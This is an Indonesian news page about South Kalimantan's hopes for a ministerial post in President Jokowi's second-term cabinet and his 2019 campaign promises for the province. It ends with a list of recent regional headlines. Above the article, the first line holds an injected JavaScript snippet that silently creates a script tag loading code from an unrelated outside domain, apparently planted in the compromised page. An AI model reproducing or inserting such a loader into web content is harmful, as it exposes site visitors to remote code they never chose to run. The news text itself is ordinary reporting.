(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mengharap Jatah Menteri dari Kalsel di Kabinet Jokowi Periode II


BANJARBARU, Harapan akan adanya menteri asal Kalimantan Selatan (Kalsel) pada kabinet Presiden Jokowi tak pernah surut. Meski periode sebelum tak mendapat jatah, akankah pada periode kedua pemerintahan Jokowi-Ma’ruf nanti Kalsel juga harus menelan harapan kosong?

Dorongan agar ada putra-putri terbaik Kalsel yang duduk di kabinet Jokowi sebelumnya memang cukup besar. Terutama menjelang Pilpres 2019 lalu, karena sejumlah tokoh maupun akademisi Banua merasa Kalsel memiliki kontribusi besar bagi perkembangan ekonomi pusat. Sehingga jatah menteri merupakan hal yang wajar sebagai wujud perhatian dan keterwakilan Kalimantan di pemerintahan pusat. Apalagi, banyak putra-putri Kalsel yang potensial dirasa pantas menduduki posisi strategis tersebut.

Harapan itu menemumkan momentumnya, pada kampanye Pilpres lalu. Para politisi, menggodok isu menteri asal Kalsel sebagai ‘pancingan’ kemenangan Jokowi di daerah. Meskipun pada kenyataannya, Pilpres 2019 lalu Jokowi kalah suara. Prabowo terbukti unggul telak dalam perolehan suara sebesar 1.470.163 (64,09%). Sedangkan Jokowi cuma mengantongi 823.939 (35,91%) suara.

Salah satu tokoh PDIP Kalsel, Supiansyah kala itu mengatakan, sosok Mardani H Maming (Ketua DPD PDIP Kalsel) digadang menduduki jabatan menteri di kabinet Jokowi. “Belum tahu, apakan Menpora atau menteri apa. Makanya beliau (Mardani Maming) sekarang ikut kemana saja Pak Jokowi kampanye,” ucap Supiansyah saat Deklarasi Pemuda Banua Bersatu di Banjarmasin, Sabtu (6/4) lalu.

Bagaimana saat ini? Mardani yang ditemui disela Konferda PDIP Kalsel di Hotel Rattan Inn, Senin (8/7) mengatakan, menyerahkan hal tersebut sepenuhnya kepada preogratif Presiden. “Kami masyarakat Kalsel tentunya berharap. Tapi itu semua merupakan hak dan kewenangan Presiden Jokowi bersama KH Ma’ruf Amin,” ujarnya. (Baca: Ini Para Menteri Kalsel, dari PM Noor hingga GM Hatta).

Untuk itu, Mardani mengatakan, Gubernur Kalsel Sahbirin Noor pun sempat menyampaikan kepadanya, terus melobi agar ada jatah menteri untuk Kalsel. “Pak Gubernur pun menyampaikan itu kepada Presiden,” ungkapnya.

Pertanyaannya, jika memang kemudian Jokowi mengabulkan adanya menteri dari Kalsel, siapa kiranya figur yang cocok?

Sejumlah nama sempat disebut. Mulai dari Mardani, Rektor ULM Sutarto Hadi, hingga mantan gubernur Rudy Ariffin. Aktivis lingkungan Berry Nahdian Furqon misalnya, mengatakan nama Rudy Ariffin dan Mardani masih cukup menjual sebagai calon menteri. “Banyak tokoh asal Kalimantan yang mumpuni dan mempunyai kapasitas dan kemampuan untuk duduk di Kabinet,” katanya.

Pun dengan Sutarto Hadi yang layak untuk menjabat Menteri Riset, Teknologi dan Perguran Tinggi. Namun, Sutarto mengaku ingin fokus menjalankan amanah memimpin ULM. Bagi guru besar pendidikan matematika ini, sebetulnya SDM di Kalimantan secara umumnya maupun Kalsel secara khususnya, masih banyak figur yang mumpuni duduk di kementerian.

Namun, terlepas dari jatah-jatahan menteri kiranya ada hal penting lain bagi Kalsel yang tak bisa diabaikan pemerintah pusat. Terutama janji kampanye Jokowi saat di Kalsel. Dalam Kampanye Akbar yang berlangsung di Stadion 17 Mei tersebut, Capres 01 Joko Widodo menyatakan beberapa janji diantaranya, apabila kembali terpilih menjadi Presiden Republik Indonesia, ia akan melaksanakan pembuatan akses jalan baru dari Banjarbaru menuju Batulicin.

“Saya tadi mendengar beberapa keinginan masyarakat di Kalsel, untuk jalan Banjarbaru menuju Batulicin itu secepatnya kita akan bangun, kita akan langsung cek lapangan dan apabila kridible akan segera kita kerjakan,” janjinya.

Disamping itu, calon petahana tersebut, juga menjanjikan adanya kereta api trans Kalimantan, hingga Kartu KIP Kuliah yang bisa dipergunakan untuk pendidian di perguruan tinggi di dalam negeri maupun luar negeri. “Siapa yang tidak setuju dengan ini bisa maju kedepan, nanti saya beri sepeda, awas kalo ada yang maju, tapi ini akan dimulai pada tahun depan, karena ini adalah program Capres,” guyonnya.

Ditambahkan Jokowi, dalam Kampanye Akbar yang dihadiri ribuan Tim Kampanye Daerah dan seluruh Relawan di Kalsel tersebut dijanjikannya juga Kartu Pra kerja, yang diberikan kepada lulusan SMA/SMK, akademi maupun universitas yang ining segera bekerja sehingga dapat diberikan pelatihan maupun training sebagai bekal bekerja.

“Jadi kartu pra kerja ini diberikan nanti kepada lulusan SMA hingga universitas untuk selanjutnya dapat diberikan pelatihan baik dari kementrian, BUMN, swasta dalam dan luar negeri, sehingga anak muda kita dapat pekerjaan,” jelasnya. (cel)

Reporter :Cell
Editor :KK

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.